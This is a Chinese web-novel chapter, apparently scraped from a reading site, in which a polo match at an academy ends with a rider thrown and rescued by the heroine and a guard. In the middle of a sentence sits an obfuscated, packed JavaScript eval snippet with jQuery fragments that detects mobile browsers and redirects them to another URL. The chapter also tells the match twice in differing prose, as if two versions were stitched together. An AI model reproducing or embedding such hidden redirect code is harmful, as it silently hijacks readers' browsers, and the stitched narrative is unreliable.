88. 第 88 章

作品:《惹权贵

    “比赛开始!”


    场下一片欢腾。


    岑文均回到案几后坐定,另一名学子奉上一个被密封的木匣——这是专用做抽签的,里头盛着三支队伍的签纸。


    三支队伍,须先抽两支比试,胜者晋级,再抽两支比试,再晋一级,最后两支胜队争夺魁首。如此算来,少说也要三日方能决出胜负。


    当然,除了马球,书院还设了射箭、投壶、琴棋书画等各项比试。只是马球向来最受瞩目,年年都是重头戏,其余项目倒成了陪衬。


    那学子将木匣捧至岑文均面前,他却摆了摆手:“年年都是老夫抽,未免无趣。今年……”


    说着,他的目光转向一边的温奇:“见山,你可愿为他们开个彩?”


    温奇微微一愣,旋即含笑起身,朝岑文均拱了拱手:


    “学生荣幸之至。”


    举匣子的人极有眼色,连忙将东西递至温奇面前,温奇将手伸进去,随意捻了一个纸条出来,当众铺展开,先呈到岑文均眼前过目,待身侧众人也看清了,这才扬声念道:


    “第一局,上舍——”


    他又将手探入匣中,取出第二张,展开,念道:


    “内舍。”


    抽签结果一出,被点中的班舍顿时爆出一阵欢呼。上舍与内舍众人当即聚拢成团,压着声音紧急敲定最后的战术。


    虽说演练过无数遍,可真到了上场这一刻,谁也不敢掉以轻心。


    很快,一阵齐整的鼓气声响起,双方人马各自就位。


    林景如翻身上马,手握球杆,按照此前训练时的点位稳稳立定。她的目光掠过对面内舍那一抹赭红,又收回身前,青色衣角在晨风里微微拂动,与她此刻沉静的心境一般,不起波澜。


    三声鼓响。


    一声令下。


    东西两侧,青红两色同时策马而出!


    球在马蹄之下、挥杆之间飞速凌空、翻滚,场上众人只觉眼花缭乱,能辨别的,唯有那两道交错追逐的青与红,哪一色逼近球门,哪一方便占得先机。


    几个回合的彼此纠缠之后,两道青色身影忽然同时提速,一左一右,呈包抄之势向对方防区压去。对方防守被这一记声东击西撕开一道缺口,球顺势被送入网囊内。


    “进了!”


    一道剧烈的欢呼应声响起,震得场边旗帜应声抖动。


    岑文均静静喝着茶水,仿佛置身事外,只是在看向场上矫健身姿时,忽然生出一些感慨。


    那是一种对时光流转的释然,与对从前的怀念。


    高台众人看的专注,场上众人也都全力以赴。林景如固守着自己的职责,却始终与队友保持着配合,时刻防止对手将球抢走。


    前些时日的磨合起了效果,一番配合下来,球在她与其他几人之间流转得行云流水,每一次传递都精准利落,每一次配合也都恰到好处。


    内舍那边的士气明显低迷下来,却仍在咬牙死撑。


    比分渐渐拉开,这场比赛,似乎胜负已分。


    所有人正看得入神,高台一侧忽然传来脚步声。


    骆应枢不知何时已走到近前,朝居中的岑文均略一颔首:“岑老,我来晚了。”


    他面色淡淡,语调也淡,看不出什么情绪。


    岑文均刚起身,便被骆应枢制止。边上几位官员却纷纷起身行礼,骆应枢随意摆了摆手,示意他们不必多礼,便在空着的案几后落座。


    其实他方才并未真的离开。


    只是在外围躲了片刻懒,本打算比赛开始时便现身,谁知竟被个愣头青缠住。


    那方子游捧着银袋子追上来,非要他收下那一百金,说什么“殿下既已开口,岂能不作数”,任他怎么说是玩笑都听不进去。


    不过,即便心中有气,却也不想错过这个热闹。


    好不容易将人打发,这才得以耳根清净地坐在这里,望向下面校场。


    那道青色身影正策马疾驰,躬身挥杆,准确将球传给贺孚。贺孚侧身一记巧打,球又入了。


    骆应枢端起茶盏,垂眸抿了一口,遮住眼底那一丝说不清的意味。


    场下,林景如一夹马腹,调转方向,正准备退回防区。


    忽然,一阵尖锐的嘶鸣声划破长空!


    是马!


    全场目光骤然聚焦


    意外发生了!


    ——


    日影高悬,校场上十余匹马在人的驱使下快速移动,马鞍上系着的锦带迎风猎猎作响。马背上的少年们手持偃月形球杖,一面控马疾驰,一面闪避对手的截击,将赤色小球向龙门方向传递而去。


    但见场下那额系青巾的少年,一个俯身探海的动作,手中球杖擦着地飞快扫过,那球便如流星般直射龙门。却在距龙门两三丈处被斜刺里杀出的一杆凌空截下。


    “啪”的一声脆响传遍全场,马儿回旋之际,扬起一串尘土。


    “好一个海底捞月!”温奇抚掌赞道。


    骆应枢疏懒地坐在岑文均旁边,目光却一直追着场下那道青色的影子。此刻那青衣阵营已呈雁翅展开,队形齐整得近乎严苛,微微挑眉,眼底浮起一丝难得的兴味。


    远处,那道并驾齐驱跟在右翼的少年,几乎贴住马腹,反手回抡间,球划出道诡异的弧线,越过众人头顶直坠东阵前场。


    而那边,早有人等候多时。


    看准时机,猛地挥动右臂球杖,赤球划过气流直直落在龙门球囊之内。


    “呀呼!”


    一阵欢呼炸响开来。


    这一套行云流水的动作,引得高台众人频频点头。


    温奇抚着胡须,目光在场上那些矫健身影间逡巡,话却对着岑文均说:“今年这队伍里,多了几张生面孔。”


    岑文均隔着人群,目光悠远,缓缓道:“年年岁岁花相似,岁岁年年人不同。”


    “老师说的是。”温奇收回视线,转向身旁的骆应枢,含笑道,“殿下身手矫健,若肯下场,只怕这满场学子皆非对手。”


    骆应枢手中把玩着青白玉瓷茶盏,嘴角弧度不变,知他说的不过是客套话,淡淡道:“温大人过誉了,马球一道,重在配合。须得队长因势利导、因人制宜,并非一人单打独斗便能成事。”


    话音未落,场下骤然传来一声尖锐的嘶鸣!


    高台众人齐齐望去。


    一匹马不知何故猛然前蹄扬起,马背上的骑手猝不及防


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183785|192531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,眨眼间便被狠狠甩了下来!


    那发狂的马匹前蹄高扬,眼看便要狠狠踏向地上之人……


    “平安!”


    骆应枢倏然起身,厉声疾喝。


    话音未落,一道劲风已自高台掠下。众人尚未回神,平安的身影已如离弦之箭射入校场。


    而就在马蹄即将落下的刹那——


    “砰!”


    一道赤影破空而至,裹挟着疾速旋转的风声,不偏不倚正中马匹前胸!


    马儿吃痛,发出一声闷嘶,庞大的身躯猛地一歪,那本该踏碎骨肉的马蹄堪堪擦着地上之人的手臂,与重重砸落在尘土之中。


    “救人!”


    清亮的嗓音划破死寂。


    众人这才看清,林景如左手紧勒缰绳,右手仍保持着挥杖的姿势,方才那千钧一发之际飞出的赤球,竟出自她手!她额间汗水涔涔,目光却死死锁住那匹狂躁的马,双腿猛夹马腹,已策马疾驰而去。


    但平安的动作更快。


    趁那马匹身形歪斜的间隙,他一手抄起地上之人,足尖轻点,已掠出数丈之外。


    将人稳稳放下,他身形未停,一个旋身便折返而回。下一瞬,他已稳稳落在那匹仍在狂躁的马背上,双手猛地一勒。


    马儿吃痛,又是一声响彻校场的嘶鸣,前蹄高高扬起,几乎与地面垂直。


    林景如见平安已然控住局面,心头那口气终于松了下来。她一扯缰绳,调转马头,朝被救下的同窗疾驰而去。


    翻身下马,她已蹲在那人身侧。


    “卢兄?卢平!”她唤了两声,见对方双目发直,嘴唇惨白,微微颤抖,竟是吓得魂都丢了。她放缓了语气,伸手轻轻按住他的肩,“没事了,你看着我,有没有哪里疼?”


    卢平眼珠缓缓转动了一下,喉间发出嘶哑的气音,却一个字也说不出来。


    校场边上早有大夫候着,此刻已气喘吁吁地赶到。他顾不上喘息未定,蹲下身便搭上卢平的脉搏,片刻后又小心翼翼地按压胸腔、手臂、腿骨,细细查看着有无内伤骨折。


    骆应枢一撩袍角,大步流星而来。身后跟着面色凝重的岑文均与温奇等人。


    卢平半句话也说不出来,脸色白得像纸,好在神志虽未恢复,身体却无大碍。


    大夫仔细查验过后,站起身,朝岑文均等人拱了拱手:


    “山长、世子、诸位大人,所幸并无内伤。稍后开些安神定惊的汤药,辅以外伤膏药敷用,养几日便无大碍了。”


    话音落下,在场众人紧绷的脸色齐齐一松。


    “将人先带会医舍,好生照看着。”


    岑文均说完,在大夫的指挥下,小心翼翼地将卢平抬上担架,朝校场外快步而去。


    骆应枢的目光掠过林景如。


    方才那一记球,他看得真切,角度刁钻,力道精准,时机更是拿捏得恰到好处。若非千锤百炼的骑射功夫,绝无可能在那样短促的间隙里,完成从策马到挥杆的整套动作。


    难怪当初能在自己手下躲过数招。


    他眼底飞快掠过一丝连自己都未曾察觉的欣赏。


    随即轻哼一声,将目光移向场中仍在与那匹狂马较劲的平安。